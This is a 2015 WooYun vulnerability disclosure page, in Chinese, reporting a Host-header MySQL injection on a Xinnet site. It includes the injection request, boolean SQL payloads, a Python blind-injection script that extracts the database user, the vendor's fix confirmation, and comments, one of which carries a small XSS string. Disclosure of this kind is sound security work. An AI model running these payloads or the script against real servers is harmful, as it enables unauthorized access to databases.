当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0118298

漏洞标题:新网某站点HOST头MySQL注射(附验证脚本)

相关厂商:新网华通信息技术有限公司

漏洞作者: lijiejie

提交时间:2015-06-04 21:20

修复时间:2015-07-20 17:26

公开时间:2015-07-20 17:26

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:6

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-04: 细节已通知厂商并且等待厂商处理中
2015-06-05: 厂商已经确认,细节仅向厂商公开
2015-06-15: 细节向核心白帽子及相关领域专家公开
2015-06-25: 细节向普通白帽子公开
2015-07-05: 细节向实习白帽子公开
2015-07-20: 细节向公众公开

简要描述:

新网某站点HOST头MySQL注射(附验证脚本)

详细说明:

注射点:

GET / HTTP/1.1
Host: www.baidu.com'or(length(user())=14)or'
Referer: http://dns-ch.xinnet.com
Cookie: JSESSIONID=321B603E350ABC1C5F02E8C9620B1AED
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*


Host可注入。
另一个域名是: dns-ch2.xinnet.com

漏洞证明:

www.baidu.com'or(length(user())=14)or'


页面返回302

xinnet.1.png


www.baidu.com'or(length(user())!=14)or'


不等于14,返回错误提示:

xinnet.2.png


未进一步测试报错。验证猜解user():

MySQL user is root@localhost


xinnet.3.png


python脚本:

#encoding=gbk
import httplib
import time
import string
import sys
import random
import urllib
headers = {
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
print 'start to retrive MySQL user:'
user = ''
for i in range(1,15):
for payload in payloads:
conn = httplib.HTTPConnection('dns-ch.xinnet.com', timeout=60)
s = "ascii(mid(lower(user()),%s,1))=%s" % (i, ord(payload))
headers['HOST'] = "www.baidu.com'or(%s)or'" % s
conn.request(method='GET',
url='/',
headers = headers)
start_time = time.time()
status = conn.getresponse().status
conn.close()
if status == 302:
user += payload
print '\n[Scan in progress]', user
else:
print '.',
print '\n[Done]MySQL user is', user

修复方案:

过滤Host头

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-06-05 17:24

厂商回复:

非常感谢lijiejie@乌云,小新正在玩命确认及修复中

最新状态:

2015-06-11:漏洞已修复,非常感谢lijiejie@乌云


漏洞评价:

评论

  1. 2015-06-04 21:35 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    给力了,一天到晚都…………你啥工具啊

  2. 2015-06-04 21:44 | 麒麟 ( 路人 | Rank:0 漏洞数:1 | 主席说:小伙子好好干,将来丐帮的位子准是...)

    ==

  3. 2015-06-04 22:30 | PyNerd ( 普通白帽子 | Rank:156 漏洞数:28 | Just for shell.)

    有神器

  4. 2015-06-05 09:37 | 随页清风 ( 普通白帽子 | Rank:131 漏洞数:41 | 剑有所指)

    同问,用的是啥工具

  5. 2015-06-06 00:06 | whitehat ( 路人 | Rank:2 漏洞数:1 | 用心,認真,努力,負責任...)

    厉害

  6. 2015-07-20 17:52 | DloveJ ( 普通白帽子 | Rank:1107 漏洞数:200 | <a href=javascrip:alert('xss')>s</a> 点...)

    @lijiejie 这个加单引号会报错么

  7. 2015-07-20 17:55 | lijiejie 认证白帽子 ( 核心白帽子 | Rank:2210 漏洞数:294 | Just for fun.)

    @DloveJ 印象中不会的

  8. 2015-07-20 23:50 | 毛利小五郎 ( 路人 | Rank:4 漏洞数:3 | “这个站被挂黑页,其实很简单。凶手采用了...)

    这样也行?!

  9. 2015-09-06 10:32 | Hckmaple ( 实习白帽子 | Rank:38 漏洞数:14 | ~~~)

    这是怎么发现的。。。